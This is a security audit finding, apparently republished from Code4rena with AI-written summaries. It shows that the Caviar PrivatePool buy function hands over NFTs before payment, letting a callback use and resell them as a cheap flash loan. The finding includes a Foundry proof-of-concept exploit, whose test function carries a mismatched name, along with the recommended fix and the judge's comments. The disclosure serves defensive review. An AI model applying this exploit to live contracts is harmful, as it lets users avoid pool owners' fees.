The buy function’s mechanism enables users to acquire flash loans at a cheaper fee rate.
The buy function transfers NFTs to the buyer before receiving payment, allowing the buyer to use the NFT (e.g., claim an airdrop or sell it) before paying. This enables a cheaper alternative to flash loans when the flash loan fee exceeds the combined buy and sell fees.
Originally disclosed on Code4rena
Submitted by KrisApostolov
https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L211-L289
https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L240
Impact
The buy function’s mechanism allows users to access flash loans at a lower fee cost, which could affect the pool owner’s yield if users opt for it instead of flash loans.
Proof of Concept
The buy function initially transfers the NFTs to the buyer before verifying and receiving payment. This mechanism creates an opportunity for users to access flash loans that are akin to flash swaps in Uniswap.
It is worth noting that this scenario is only viable in pools with ERC20 tokens since they do not necessitate upfront payment, unlike payable functions. Additionally, it requires the flash loan fee to be greater than the combined buy and sell fees for the NFTs.
A proof-of-concept (PoC) demonstrating this scenario is provided below:
// @audit-info These are the default circumstances used by most of the tests:
PrivatePool public privatePool;
address baseToken = address(shibaInu);
address nft = address(milady);
uint128 virtualBaseTokenReserves = 100e6;
uint128 virtualNftReserves = 10e18;
uint16 feeRate = 1e2;
uint56 changeFee = 3e6;
bytes32 merkleRoot = bytes32(0);
address owner = address(this);
uint256[] tokenIds;
uint256[] tokenWeights;
PrivatePool.MerkleMultiProof proofs;
IStolenNftOracle.Message[] stolenNftProofs;
function setUp() public {
privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
privatePool.initialize(
baseToken, nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, false
);
deal(address(shibaInu), address(this), 2e6);
// @audit-info Giving the pool 60 tokens to trade with
deal(address(shibaInu), address(privatePool), 100e6);
for (uint256 i = 0; i < 5; i++) {
milady.mint(address(privatePool), i + 1);
}
assertEq(milady.balanceOf(address(privatePool)), 5, "Didn't mint 5 NFTs for some reason.");
}
function test_failBecauseOfDivisionBy0() public {
for (uint256 i = 0; i < 5; i++) {
tokenIds.push(i + 1);
}
(uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.buyQuote(5e18);
shibaInu.approve(address(privatePool), netInputAmount);
// @audit-info Trying to buy the 5 tokens present in the pool
privatePool.buy(tokenIds, tokenWeights, proofs);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
// @audit-info Claim airdrop for the specific NFT here
airdrop.claim(tokenId);
// @audit-info Selling the NFT here
uint[] memory _tokenIds = new uint[](1);
_tokenIds[0] = tokenId;
milady.approve(address(privatePool), tokenId);
(uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.sellQuote(1e18);
privatePool.sell(_tokenIds, tokenWeights, proofs, stolenNftProofs);
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
Tools Used
Foundry
Recommended Mitigation Steps
Consider sending the NFTs after the funds have been received by the contract.
outdoteth (Caviar) acknowledged
Alex the Entreprenerd (judge) commented:
The Warden has shown how, due to the handling of callbacks, a
buycan be viewed as a flash-swap which allows the payer to pay after using the token, effectively allowing for a cheaper flashloan if fees are set in a certain way.Because the finding shows a way to possibly side-step fees, while maintaining the same functionality, I believe the most appropriate severity to be Medium.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The buy function transfers the NFT before collecting payment, creating a callback window where the buyer can use the NFT before paying.
Impact
This could reduce the pool owner's yield if users opt for this cheaper flash loan alternative instead of paying flash loan fees.
What the attacker needed
Pool uses ERC20 tokens; Flash loan fee > combined buy and sell fees; Attacker has funds to pay buy price
The fix
The NFTs should be sent only after the payment has been received by the contract.
How it was found
- Call the buy function to purchase NFTs from the pool.
- In the onERC721Received callback, use the received NFT (e.g., claim an airdrop or sell it).
- Sell the NFT back to the pool to obtain funds.
- Complete the buy by paying the pool, netting a profit if fees are favourable.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a normal sale, you pay first and then get the item. Here, the pool gives you the NFT first and asks for payment later. That means you can quickly use the NFT to make money (like claiming a free gift) and then pay the pool, effectively getting a loan for less than the usual loan fee.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.